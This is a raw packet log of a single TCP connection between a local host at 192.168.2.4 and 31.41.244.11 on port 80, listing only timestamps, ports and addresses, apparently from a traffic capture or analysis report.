Dec 21, 2024 10:15:20.164503098 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.164562941 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.164612055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.164683104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.165728092 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.165800095 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.165862083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.166836023 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.166894913 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.166976929 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.167077065 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.168039083 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.168098927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.168155909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.168207884 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.169217110 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.169276953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.169327974 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.169385910 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.170372963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.170432091 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.170572996 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.170641899 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.171576977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.171787977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.171859026 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.173091888 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.173146009 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.173150063 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.173201084 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.173929930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.173983097 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.174032927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.174082041 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.175585032 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.175770044 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.175825119 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.177511930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.177577019 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.177653074 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.179634094 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.179687023 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.179692030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.179739952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.180111885 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.180155993 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.180166006 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.180200100 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.180689096 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.180736065 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.180857897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.180933952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.182593107 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.182638884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.182650089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.182684898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.183173895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.183252096 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.183327913 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.183845043 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.183900118 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.183945894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.184005976 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.184568882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.184631109 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.184673071 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.184724092 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.185791969 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.185847998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.185853004 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.185893059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.186969995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.187133074 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.187184095 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.188137054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.188205004 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.188210011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.188261986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.189311028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.189479113 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.189532042 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.190525055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.190581083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.190622091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.190682888 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.191687107 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.191747904 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.191795111 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.192862988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.192917109 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.192964077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.193013906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.194093943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.194154024 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.194166899 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.194216967 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.195241928 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.195363998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.195419073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.196439028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.196496010 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.196543932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.196597099 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.197630882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.197686911 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.197722912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.197772980 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.198820114 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.198987007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.199078083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.200015068 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.200073957 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.200118065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.200185061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.201586962 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.201735973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.201791048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.202902079 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.202917099 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.202953100 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.202985048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.203562021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.203660011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.203716993 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.204761028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.204828978 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.204926014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.204977989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.205941916 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.206001043 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.206031084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.206079960 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.207089901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.207159042 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.337667942 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.337718010 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.337807894 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.338073015 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.338135958 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.338135958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.338185072 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.338969946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.339026928 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.339052916 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.339104891 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.340193033 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.340287924 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.340353012 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.341341972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.341406107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.341473103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.341525078 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.342552900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.342657089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.342720985 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.343713999 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.343769073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.343810081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.343872070 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.344855070 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.344909906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.344974995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.345022917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.346095085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.346179008 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.346215963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.346259117 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.347243071 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.347327948 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.347371101 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.347423077 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.348550081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.348608017 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.348752022 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.348807096 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.349659920 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.349688053 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.349719048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.349750996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.350825071 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.350893974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.350924969 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.351012945 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.352010965 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.352081060 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.352118015 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.352164984 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.353173018 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.353238106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.353288889 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.353410959 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.354392052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.354446888 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.354501963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.354695082 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.355623007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.355679035 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.355748892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.355916977 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.356770039 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.356826067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.356844902 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.356894016 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.357948065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.358009100 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.358027935 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.358077049 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.359093904 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.359159946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.359249115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.359297991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.360307932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.360373020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.360439062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.360691071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.361496925 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.361560106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.361615896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.361747980 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.362643003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.362735033 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.362776995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.362869024 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.363853931 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.363920927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.363991976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.364097118 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.365026951 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.365081072 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.365149975 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.365232944 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.366218090 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.366306067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.366372108 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.366421938 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.367397070 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.367453098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.367505074 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.367558956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.368592024 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.368673086 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.368691921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.368745089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.369780064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.369839907 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.369884014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.369932890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.371025085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.371227026 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.371309042 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.371365070 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.372155905 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.372210026 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.372306108 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.372359037 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.373352051 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.373404980 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.373449087 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.373493910 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.374507904 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.374567986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.374629021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.374742031 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.375699043 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.375756979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.375807047 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.375854015 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.376919985 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.376972914 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.377017021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.377057076 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.378252029 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.378308058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.378308058 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.378355980 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.379259109 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.379328966 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.379379034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.379487038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.380451918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.380511045 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.380600929 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.380655050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.381618977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.381676912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.381804943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.381864071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.382795095 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.382854939 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.382920980 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.382986069 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.383976936 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.384036064 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.384077072 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.384125948 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.385169029 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.385231018 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.385263920 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.385380030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.386356115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.386411905 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.386554003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.386605978 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.387542009 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.387598991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.387636900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.387713909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.388708115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.388761997 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.388853073 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.388897896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.389914989 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.389974117 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.390032053 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.390109062 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.391100883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.391159058 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.391238928 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.391287088 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.392324924 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.392407894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.392440081 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.392472029 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.393474102 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.393532038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.393563986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.393614054 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.394620895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.394685030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.394731045 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.394857883 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.395822048 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.395879030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.395941973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.396213055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.397001982 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.397146940 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.397180080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.397212982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.398200035 CET	80	49781	31.41.244.11	192.168.2.4
